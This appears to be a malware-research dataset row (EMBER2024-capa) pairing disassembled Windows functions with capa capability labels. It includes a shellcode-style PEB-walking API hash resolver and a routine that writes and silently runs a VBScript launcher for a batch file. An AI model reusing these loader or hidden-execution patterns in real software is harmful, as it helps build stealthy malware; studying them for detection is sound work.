joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400031a0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov qword [rbp - 0x19], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov byte [rbp - 0x11], 0x4c
mov al, 2
mov cl, 0x38
mov dl, 0xf
mov r8b, 0x20
mov r9b, 0x23
mov r10b, 0x3f
mov r11b, 0x29
xor ebx, ebx
xor al, 0x4c
mov byte [rbp - 0x10], al
xor cl, 0x4c
mov byte [rbp - 0xf], cl
xor dl, 0x4c
mov byte [rbp - 0xe], dl
xor r8b, 0x4c
mov byte [rbp - 0xd], r8b
xor r9b, 0x4c
mov byte [rbp - 0xc], r9b
xor r10b, 0x4c
mov byte [rbp - 0xb], r10b
xor r11b, 0x4c
mov byte [rbp - 0xa], r11b
mov byte [rbp - 9], bl
movdqa xmm0, xmmword [0x14000b420]
movdqu xmmword [rbp + 0x2f], xmm0
mov byte [rbp + 0x1f], bl
lea rax, [rbp - 0x10]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x140003230
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x1f]
call fcn.140005340
nop
movdqa xmm0, xmmword [str.L_____.___b_]
movdqu xmmword [rbp - 1], xmm0
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rbp - 1]
xor byte [rbp + rcx], al
inc rcx
cmp rcx, 0xe
jb 0x140003260
mov byte [rbp + 0xe], 0
lea rdx, [rbp]
lea rcx, [rbp + 0xf]
call fcn.1400033a0
mov rsi, rax
mov rbx, qword [rax]
mov rdi, qword [rbx + 8]
mov r14, rbx
cmp byte [rdi + 0x19], 0
jne 0x1400032c6
nop word [rax + rax]
lea rcx, [rdi + 0x20]
lea rdx, [rbp + 0x1f]
call fcn.1400058a0
shr eax, 0x1f
test al, al
je 0x1400032ba
mov rdi, qword [rdi + 0x10]
jmp 0x1400032c0
mov rbx, rdi
mov rdi, qword [rdi]
cmp byte [rdi + 0x19], 0
je 0x1400032a0
cmp rbx, r14
je 0x1400032df
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x1f]
call fcn.1400058a0
shr eax, 0x1f
test al, al
je 0x14000331a
lea rax, [rbp + 0x1f]
mov qword [rbp + 0x6f], rax
lea r9, [rbp + 0x67]
lea r8, [rbp + 0x6f]
lea rdx, [0x14000a440]
mov rcx, rsi
call fcn.140001510
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp + 0x67]
mov rcx, rsi
call fcn.140001850
mov rbx, qword [rbp + 0x67]
mov rbx, qword [rbx + 0x40]
mov r9, qword [rbp + 0xf]
mov r8, qword [r9]
lea rdx, [rbp + 0x67]
lea rcx, [rbp + 0xf]
call fcn.140005bf0
mov edx, 0x48
mov rcx, qword [rbp + 0xf]
call fcn.140008188
nop
mov rdx, qword [rbp + 0x37]
cmp rdx, 0x10
jb 0x14000337f
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000337a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000337a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008188
mov rax, rbx
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140003a20
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x1400bc8f8]
xor rax, rsp
mov qword [rsp + 0x268], rax
mov rax, qword [0x1400cb690]
mov rbx, rcx
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140003aeb
xor edx, edx
mov qword [rsp + 0x30], 0
mov r8d, 0x210
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [0x1400cb654]
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x40], 0x258
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x248], eax
mov r8, 0xffffffffffffffff
lea rax, [rsp + 0x30]
mov qword [rsp + 0x250], rax
inc r8
cmp byte [rbx + r8], 0
jne 0x140003aa0
inc r8
lea rcx, [rsp + 0x48]
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov rcx, qword [0x1400cb690]
lea r9, [rsp + 0x260]
mov r8d, 0x219
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rax, qword [rsp + 0x30]
jmp 0x140003aed
xor eax, eax
mov rcx, qword [rsp + 0x268]
xor rcx, rsp
call fcn.1400085d0
add rsp, 0x270
pop rbx
ret

Function at 0x140003b10
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x1400bc8f8]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rax, qword [0x1400cb690]
mov rbx, r9
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140003b96
mov eax, dword [0x1400cb654]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x30], 0x12c
mov dword [rsp + 0x34], eax
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x44], r8d
mov dword [rsp + 0x40], edx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x1400cb690]
lea r9, [rsp + 0x58]
mov r8d, 0x29
mov dword [rsp + 0x48], eax
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400085d0
add rsp, 0x70
pop rbx
ret
Function at 0x140003bb0
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
push rbp
push rbx
push rdi
lea rbp, [r11 - 0x5f]
sub rsp, 0xa0
mov rax, qword [0x1400bc8f8]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rax, qword [0x1400cb690]
mov edi, r8d
dec rax
mov rbx, rcx
cmp rax, 0xfffffffffffffffd
ja 0x140003cfa
mov eax, dword [0x1400cb654]
xorps xmm0, xmm0
mov qword [r11 - 0x20], rsi
xor esi, esi
mov qword [rbp + 0x1b], rsi
mov dword [rbp + 0x23], esi
mov qword [r11 - 0x28], r14
mov dword [rbp - 1], 0xc8
mov dword [rbp + 3], eax
mov qword [rbp + 7], rdx
mov qword [rbp + 0xf], rcx
mov dword [rbp + 0x17], r8d
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 0x29], 0x12c
mov dword [rbp - 0x25], eax
mov qword [rbp - 0x21], rcx
mov dword [rbp - 0x15], 0x40
mov dword [rbp - 0x19], r8d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x1400cb690]
lea r14, [0x1400cb6a8]
lea r9, [rbp + 0x27]
mov dword [rbp - 0x11], eax
lea r8d, [rsi + 0x29]
mov qword [rbp - 9], r14
lea rdx, [rbp - 0x29]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x1400cb690]
lea r9, [rbp + 0x2b]
lea r8d, [rsi + 0x28]
mov qword [rsp + 0x20], rsi
lea rdx, [rbp - 1]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rax, qword [0x1400cb690]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140003cea
mov eax, dword [0x1400cb654]
xorps xmm0, xmm0
mov dword [rbp - 0x25], eax
mov eax, dword [0x1400cb6a8]
mov dword [rbp - 0x15], eax
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 0x29], 0x12c
mov qword [rbp - 0x21], rbx
mov dword [rbp - 0x19], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x1400cb690]
lea r9, [rbp + 0x27]
lea r8d, [rsi + 0x29]
mov dword [rbp - 0x11], eax
lea rdx, [rbp - 0x29]
mov qword [rbp - 9], r14
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rsi, qword [rsp + 0x98]
mov r14, qword [rsp + 0x90]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400085d0
add rsp, 0xa0
pop rdi
pop rbx
pop rbp
ret
Function at 0x1400047d0
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0xf0
mov rax, qword [0x1400bc8f8]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x74]
lea r8d, [rdx + 0x64]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x50]
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rdx, rbx
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
mov edx, 0x3e8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400085d0
add rsp, 0xf0
pop rbx
ret
Function at 0x14002af30
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0xa0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x18], 0xfffffffffffffffe
mov dword [rbp + 0x14], ecx
xorps xmm0, xmm0
movaps xmmword [rbp - 0x10], xmm0
lea rcx, [rbp - 0x10]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
test al, al
je 0x14002af72
mov rax, qword [rbp - 0x10]
add rsp, 0xa0
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 8], rax
lea rax, [rbp + 8]
mov qword [rbp - 0x30], rax
lea rax, [0x14001b8b0]
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0x14]
mov qword [rbp - 0x20], rax
lea rax, [0x14000d830]
mov qword [rbp - 0x18], rax
lea rax, [0x140048050]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 2
lea rax, [0x140048070]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 2
lea rax, [rbp - 0x30]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 2
lea rdx, str.library_std_src_syswindows_rand.rsRNG_broken:___fallback_RNG_broken:
lea rcx, [rbp - 0x60]
call fcn.14003df10
ud2

Function at 0x140030854
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003089e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003089e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003089e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003089e
cmp dword [rcx + 0x84], 0xe
jbe 0x14003089e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400308a0
xor al, al
add rsp, 0x28
ret

Function at 0x140034acc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400348f8

Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
push rsi
mov rdx, qword [rdx + 0x20]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov ecx, dword [rax + 0x18]
push rax
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140f99058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140f991df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140f99089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f9906f
add dl, dl
jne 0x140f99096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f990f6
xor eax, eax
add dl, dl
jne 0x140f990a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f991ad
add dl, dl
jne 0x140f990b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f990c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f990d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f990dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140f990ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140f9907e
mov eax, 1
add dl, dl
jne 0x140f99106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f99113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f990fb
sub eax, ebx
mov ebx, 1
jne 0x140f9914c
mov ecx, 1
add dl, dl
jne 0x140f9912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f9913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f99123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f9907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140f99168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f99175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f9915d
cmp eax, 0x7d00
jae 0x140f9919b
cmp eax, 0x500
jb 0x140f99196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f9907e
cmp eax, 0x7f
ja 0x140f9919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f9907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140f991d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140f9907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140d48058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140d481df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140d48089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d4806f
add dl, dl
jne 0x140d48096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d480f6
xor eax, eax
add dl, dl
jne 0x140d480a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d481ad
add dl, dl
jne 0x140d480b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d480c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d480d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d480dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140d480ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140d4807e
mov eax, 1
add dl, dl
jne 0x140d48106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d48113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d480fb
sub eax, ebx
mov ebx, 1
jne 0x140d4814c
mov ecx, 1
add dl, dl
jne 0x140d4812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140d4813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d48123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d4807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140d48168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140d48175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d4815d
cmp eax, 0x7d00
jae 0x140d4819b
cmp eax, 0x500
jb 0x140d48196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d4807e
cmp eax, 0x7f
ja 0x140d4819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d4807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140d481d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140d4807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14001e23f
Capabilities:
Write file on windows

Disassembly:
jmp 0x140040630
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14007e102]
call fcn.14001f35b
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x140040687
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140040793
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x14004072c
cmp qword [rbp + 0x28], 0
jle 0x14004072c
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x1400406cc
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.14001f22a
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x140040782
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x140040782
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x14001e40b
Capabilities:
Delete file
Set file attributes

Disassembly:
jmp 0x14003ade0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14007e10d]
call fcn.14001f35b
mov edx, 0x80
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x14003ae61
lea rdx, str.File_deleted_successfully:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e280
mov rdx, qword [rbp + 0x100]
mov rcx, rax
call fcn.14001e280
mov qword [rbp + 0xc0], rax
lea rdx, [0x14001e0c3]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14003aed3
lea rdx, str.Error_deleting_file
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001e280
mov rdx, qword [rbp + 0x100]
mov rcx, rax
call fcn.14001e280
lea rdx, str.._Error_code:
mov rcx, rax
call fcn.14001e280
mov qword [rbp + 0xc0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xc8], eax
mov edx, dword [rbp + 0xc8]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0xd0], rax
lea rdx, [0x14001e0c3]
mov rcx, qword [rbp + 0xd0]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x14001eafa
Capabilities:
Terminate process

Disassembly:
jmp 0x140058240
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001ecbc
Capabilities:
Get geographical location

Disassembly:
jmp 0x1400520b0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov r9d, 2
lea r8, [rsp + 0x40]
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x1400520ed
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.14001f33d
add rsp, 0x58
ret
Function at 0x14001ed89
Capabilities:
Parse pe header

Disassembly:
jmp 0x140058d70
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140058d90
xor al, al
jmp 0x140058e11
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140058da3
xor al, al
jmp 0x140058e11
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140058dcd
xor al, al
jmp 0x140058e11
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140058de1
xor al, al
jmp 0x140058e11
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140058df3
xor al, al
jmp 0x140058e11
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140058e0f
xor al, al
jmp 0x140058e11
mov al, 1
add rsp, 0x38
ret
Function at 0x14001edc0
Capabilities:
Execute command

Disassembly:
jmp 0x14003c7e0
push rbp
push rdi
sub rsp, 0x458
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1400720c0]
xor rax, rbp
mov qword [rbp + 0x418], rax
lea rcx, [0x14007e10d]
call fcn.14001f35b
mov edx, 0x110
lea rcx, [rbp + 0x10]
call fcn.14001ed61
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, str.winstart.vbs
lea rcx, [rbp + 0x10]
call fcn.14001f1df
nop
mov rax, qword [rbp + 0x10]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x10]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
movzx eax, al
test eax, eax
jne 0x14003c8e5
mov edx, 0x108
lea rcx, [rbp + 0x140]
call fcn.14001e7e4
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, str.winstart.vbs
lea rcx, [rbp + 0x140]
call fcn.14001e7c1
nop
lea rdx, str.set_objShell__CreateObject__WScript.Shell___n
lea rcx, [rbp + 0x140]
call fcn.14001e280
lea rdx, str.objShell.Run__.bat___0__TRUE_n
lea rcx, [rbp + 0x140]
call fcn.14001e280
lea rcx, [rbp + 0x140]
call fcn.14001ea28
nop
lea rcx, [rbp + 0x140]
call fcn.14001e528
lea rdx, str.start_____wscript.exe___winstart.vbs_
lea rcx, [rbp + 0x268]
call fcn.14001e8cf
lea rcx, [rbp + 0x268]
call fcn.14001e226
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 0x268]
call fcn.14001e3e3
nop
lea rcx, [rbp + 0x10]
call fcn.14001e36b
lea rcx, [rbp - 0x30]
lea rdx, [0x140063510]
call fcn.14001f013
mov rcx, qword [rbp + 0x418]
xor rcx, rbp
call fcn.14001e974
lea rsp, [rbp + 0x428]
pop rdi
pop rbp
ret